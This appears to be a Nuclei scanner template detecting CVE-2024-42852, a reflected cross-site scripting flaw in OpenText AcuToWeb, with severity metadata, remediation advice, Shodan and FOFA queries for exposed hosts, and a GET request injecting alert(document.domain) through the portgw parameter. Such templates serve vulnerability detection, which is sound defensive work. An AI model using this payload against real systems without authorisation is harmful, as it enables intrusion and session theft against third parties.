id: CVE-2024-42852

info:
  name: AcuToWeb server/10.5.0.7577c8b - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    AcuToWeb server/10.5.0.7577c8b is vulnerable to reflected cross-site scripting (XSS) via the portgw parameter. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.
  impact: |
    Successful exploitation of this XSS vulnerability allows attackers to execute arbitrary JavaScript code in victims' browsers, potentially leading to session hijacking, credential theft, or other malicious activities.
  remediation: |
    Update AcuToWeb to the latest version. Implement proper input validation and output encoding for all user-supplied data, especially the portgw parameter.
  reference:
    - https://github.com/Hebing123/cve/issues/64
    - https://nvd.nist.gov/vuln/detail/CVE-2024-42852
  classification:
    epss-score: 0.00731
    epss-percentile: 0.49413
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-42852
    cwe-id: CWE-79
    cpe: cpe:2.3:a:opentext:acutoweb:10.5.0.7577c8b:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: opentext
    product: acutoweb
    fofa-query: title="AcuToWeb"
    shodan-query: title:"AcuToWeb"
  tags: cve,cve2024,xss,acutoweb,opentext,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?portgw=80089948;%20alert(document.domain)"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "80089948; alert(document.domain);"
          - "WT_GW_PORT"
        condition: and

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203fe10c48bb523de08b2902b7d939ae824875b8565329f9c25773b4f79871485a022100910eef808976554a1c3be7e11c2899424213d7eeea315c0687b2a1d1c7b7e7c6:922c64590222798bb761d5b6d8e72950